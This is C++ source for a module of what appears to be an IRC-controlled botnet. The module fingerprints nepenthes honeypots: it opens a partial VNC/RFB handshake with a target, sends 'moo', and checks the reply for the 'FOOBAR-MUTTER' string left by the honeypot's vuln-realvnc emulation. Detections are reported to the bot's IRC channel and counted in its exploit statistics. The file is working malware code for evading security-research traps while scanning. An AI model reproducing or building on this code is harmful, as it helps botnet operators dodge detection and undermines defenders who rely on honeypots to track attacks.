/*
you can find last version at:
http://grospolina.org/C/vncmoo.cpp
vncmoo final
*/
/*
Nepdetect realvnc module by kat
based on netcat dump received from nepenthes honeypot
------------- 01/01/08 katsumi
connecting
receiving 12 bytes (the version string)
< 00000000 52 46 42 20 30 30 33 2e 30 30 38 0a # RFB 003.008.
sending the version string and receiving then black & white
< 0000000c 01 02 # ..
sending the moo !
receiving 4 bytes
< 0000000e 00 00 00 00 # ....
and receiving 37 bytes
< 00000012 04 3a 02 ff 20 18 00 01 00 ff 00 ff 00 ff 10 08 # .:.. ...........
< 00000022 00 00 00 00 00 00 00 0d 46 4f 4f 42 41 52 2d 4d # ........FOOBAR-M
< 00000032 55 54 54 45 52 # UTTER
(nepenthes' log crit will print a out_of_sync? message)
just 4 fun
did you ever got a binary thru vuln-realvnc ??
*/
#include "includes.h"
#include "functions.h"
#include "externs.h"
/*
*/
#ifndef NO_VNCMOO
BOOL vncmoo(EXINFO exinfo)
{
char moobuf[IRCLINE];
char tosend[] = "RFB 003.008\n";
char moo[] = "moo\n"; //something (at this time moo ;))
int i = 0;
char vncbuf1[11];
char vncbuf2[1];
char vncbuf3[3];
char vncbuf4[36];
//char vncbuf5[] = "8";
char vncbuf6[15] = "FOOBAR-MUTTER\n";
#define ISVNC 0x52 // version string should start with 0x52
#define VNC38 0x38 // lookin for 0x38 in version string
// DONE: (TODO at stage2)
#define BLACK 0x01
#define WHITE 0x02
#define ZERO 0x00
SOCKET sock;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) != INVALID_SOCKET) {
SOCKADDR_IN ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family = AF_INET;
ssin.sin_addr.s_addr = finet_addr(exinfo.ip);
ssin.sin_port = fhtons((unsigned short)exinfo.port);
if(connect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) {
// sprintf(moobuf, "[vncmoo]: Connected to %s\r\n", exinfo.ip);
// irc_privmsg(exinfo.sock, exinfo.chan, moobuf, exinfo.notice);
// addlog(moobuf);
// ok we are connected :)
// Sleep(300); // do we need it?
// ok. i'm a bot . i need to receive ;)
// receive 12 bytes
if (recv(sock, vncbuf1, 12, 0) > 0 )
{
// sprintf(moobuf, "[vncmoo]: receiving version from %s: %s", exinfo.ip, vncbuf1);
// irc_privmsg(exinfo.sock, exinfo.chan, moobuf, exinfo.notice);
// addlog(moobuf);
#ifdef DEBUG_CONSOLE
printf("%s: Received at STAGE1:", exinfo.ip);
for (i=0; i<12; i++) {
printf("%x,", vncbuf1[i]);
}
printf("\n");
//printf("%x = %x ?\n", vncbuf1[10], VNC38);
#endif
// no vnc check start
if (!( vncbuf1[0] == ISVNC ))
{
#ifdef DEBUG_CONSOLE
printf("%s: No VNC - closing socket\n", exinfo.ip);
#endif
closesocket(sock);
return TRUE;
}
// no vnc check end
// if ( vncbuf1[10] == VNC38 )
// {
if (!( vncbuf1[10] == VNC38 ))
{
#ifdef DEBUG_CONSOLE
printf("%s: Bad VNC version - closing socket\n", exinfo.ip);
#endif
closesocket(sock);
return TRUE;
}
// send the version string
if (send(sock, tosend, 12, 0) > 0 )
{
// sprintf(moobuf, "[vncmoo]: Sending RFB client version to %s.", exinfo.ip);
// irc_privmsg(exinfo.sock, exinfo.chan, moobuf, exinfo.notice);
// addlog(moobuf);
#ifdef DEBUG_CONSOLE
printf("%s: STAGE1 done.\n", exinfo.ip);
#endif
if (recv(sock, vncbuf2, 2, 0) > 0 ) // receive 2 bytes
{
// sprintf(moobuf, "[vncmoo]: receiving blacknwhite from %s: %i %i", exinfo.ip, vncbuf2[1], vncbuf2[2]);
// irc_privmsg(exinfo.sock, exinfo.chan, moobuf, exinfo.notice);
// addlog(moobuf);
#ifdef DEBUG_CONSOLE
printf("%s: Received at STAGE2: 0x%x 0x%x\n",exinfo.ip, vncbuf2[0],vncbuf2[1]);
#endif
//TODO: if byte 0 is 01 and byte 1 is 02
//DONE
if (!( vncbuf2[0] == BLACK ) || !( vncbuf2[1] == WHITE ))
{
#ifdef DEBUG_CONSOLE
printf("%s: failed black'n'white - closing socket\n", exinfo.ip);
#endif
closesocket(sock);
return TRUE;
}
//DONE try todo end
if (send(sock, moo, 4, 0) > 0 )
{
// sprintf(moobuf, "[vncmoo]: Sending moo to %s", exinfo.ip);
// irc_privmsg(exinfo.sock, exinfo.chan, moobuf, exinfo.notice);
// addlog(moobuf);
#ifdef DEBUG_CONSOLE
printf("%s: Send at STAGE2:%s \n", exinfo.ip, moo);
printf("%s: STAGE2 done.\n", exinfo.ip);
#endif
if (recv(sock, vncbuf3, 4, 0) > 0 )// receive 4 bytes
{
// may be we really could detect it here
#ifdef DEBUG_CONSOLE
printf("%s: Received at STAGE3:", exinfo.ip);
for (i=0; i<4; i++) { printf ("%i",vncbuf3[i]); }
printf("\n");
#endif
// TODO: else close socket return false
// TODO: if byte 0-3 is 0 receive 37 bytes
// we will test byte 0 and 3
if (!( vncbuf3[0] == ZERO ) || !( vncbuf3[3] == ZERO ))
{
#ifdef DEBUG_CONSOLE
printf("%s: expected 0000 - closing socket\n", exinfo.ip);
#endif
closesocket(sock);
return TRUE;
}
// end TODO
if (recv(sock, vncbuf4, 37, 0) > 0 )
{
// consume level lol
#ifdef DEBUG_CONSOLE
printf("\n%s: STAGE4 reached.\n", exinfo.ip);
// for (i=0; i<37; i++) {
// printf("%i,", vncbuf4[i]);
// }
//printf("\n");
for (i=24; i<37; i++)
{
//
printf("%s: collecting bytes to test byte %i: %x %x\n", exinfo.ip, i, vncbuf4[i],vncbuf6[i-24] );
}
#endif
// reaching stage4 typically means we already have detected vuln-realvnc nepenthes modul
// but we will make a lil test 'cos we had not tested vncbuf3 : 0000
// still TODO:comparing vncbuf3 //DONE
if ( vncbuf4[35] == vncbuf6[11] ) //easy way. i don't care about false positives
{
#ifdef DEBUG_CONSOLE
printf("%s: found nepenthes vuln-realvnc module\n", exinfo.ip);
#endif
sprintf(moobuf, "[vncmoo]: nepenthes detected at %s \r\n", exinfo.ip);
irc_privmsg(exinfo.sock, exinfo.chan, moobuf, exinfo.notice);
addlog(moobuf);
exploit[ exinfo.exploit ].stats++;
}
// TODO: if byte 24-36 is FOOBAR-MUTTER send message to irc //no need TODO
}
}
}
}
}
}
}
}
// }
Sleep(500);
closesocket(sock);
return TRUE;
}
#endif